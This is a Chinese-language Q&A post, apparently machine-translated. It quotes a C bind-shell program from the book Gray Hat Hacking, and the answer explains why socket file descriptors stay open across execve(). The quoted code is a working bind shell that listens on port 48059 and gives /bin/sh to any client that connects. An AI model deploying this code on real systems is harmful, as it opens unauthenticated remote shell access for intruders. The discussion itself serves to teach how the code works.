所以我从 Gray Hat Hacking:The Ethical Hacker's Handbook,Fourth Edition 获得了这段代码:
#include<sys/socket.h> // libraries used to make a socket
#include<netinet/in.h> // defines the sockaddr structure
int main(){
char * shell[2]; // prep for execve call
int server,client; // file descriptor handles
struct sockaddr_in serv_addr; // structure to hold IP/port vals
server=socket(2,1,0); // build a local IP socket of type stream
serv_addr.sin_addr.s_addr=0; // set addresses of socket to all local
serv_addr.sin_port=0xBBBB; // set port of socket, 48059 here
serv_addr.sin_family=2; // set native protocol family: IP
bind(server,(struct sockaddr *)&serv_addr,0x10); // bind socket
listen(server,0); // enter listen state, wait for connect
client=accept(server,0,0);// when connect, return client handle
/*connect client pipes to stdin,stdout,stderr */
dup2(client,0); // connect stdin to client
dup2(client,1); // connect stdout to client
dup2(client,2); // connect stderr to client
shell[0]="/bin/sh"; // first argument to execve
shell[1]=0; // terminate array with null
execve(shell[0],shell,0); // pop a shell
}
execve()在成功时不返回,并且调用进程的text,data,bss和stack将被加载的程序覆盖。
所以不应该socket()
的返回值,如果我理解的话,它是一个文件描述符,是否会被覆盖?
并且不应将文件描述符stdin
,stdout
和stderr
的重定向重置为默认值吗?
如果是这样,该程序如何运作?
我可能会对execve()
函数或文件描述符有所了解。或许我完全错过了socket()
功能。
Aren的文件描述符存储在堆栈中,或者存储到bss部分?
答案 0 :(得分:2)
当通过其中一个exec
函数执行新程序时,文件描述符不关闭。如果是,则无法将终端中的stdin / stdout / stderr附加到适当的位置。
您错过了以下段落:
默认情况下,文件描述符在
execve()
上保持打开状态。文件 标记为close-on-exec的描述符已关闭;看到了 描述FD_CLOEXEC
中的fcntl(2)
。 (如果文件描述符被关闭,这将导致释放所有记录锁定 底层文件 通过这个过程。有关详细信息,请参阅fcntl(2)
。)POSIX.1表示如果文件描述符0,1和2在关闭后将被关闭 成功execve()
,并且该进程将获得权限,因为在执行的文件上设置了set-user_ID或set-group_ID模式位, 然后系统可以为这些文件描述符中的每一个打开未指定的文件。 作为一般原则,没有便携式程序,是否 特权或 不,可以假设这三个文件描述符将在execve()
中保持关闭状态。